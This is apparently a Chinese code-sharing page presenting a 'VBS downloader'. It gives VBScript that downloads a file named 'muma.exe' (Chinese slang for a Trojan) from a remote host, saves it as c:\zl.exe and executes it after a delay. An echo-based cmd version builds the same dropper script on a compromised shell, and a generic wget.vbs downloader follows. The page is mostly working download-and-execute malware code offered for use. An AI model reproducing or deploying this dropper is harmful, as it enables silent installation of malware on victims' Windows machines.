VBS下载者(通过vbscript实现文件下载)
一、vbS下载者:
复制代码 代码如下:
Set Post = CreateObject("MsXMl2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.OPEn "GET","http://www.jbzj.COM/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.WrITe(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
复制代码 代码如下:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >
>
zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >
>
zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >
>
zl.vbs
echo Post.Send() >
>
zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >
>
zl.vbs
echo aGet.Mode = 3 >
>
zl.vbs
echo aGet.Type = 1 >
>
zl.vbs
echo aGet.Open() >
>
zl.vbs
echo aGet.Write(Post.responseBody) >
>
zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >
>
zl.vbs
echo wscript.sleep 1000 >
>
zl.vbs
echo Shell.Run ("c:\zl.exe") >
>
zl.vbs
三、wget.vbs
复制代码 代码如下:
on error resume next
iLocal=LCase(Wscript.arguments(1))
iRemote=LCase(Wscript.arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xpost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe
您可能感兴趣的文章:- 支持断点下载的VBS代码
- vbs 多线程下载实现代码
- VBS下载文件的新方法
- @L_126_6@
- 使用vbs下载文件的代码加强版
- 一个收集的下载木马并运行的VBS代码
- 用ASP VBS xmlhttp adodbstream下载和保存图片的代码
- 下载文件到本地运行的vbs
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: VBS下载者(通过vbscript实现文件下载)
本文地址: https://pptw.com/jishu/610043.html
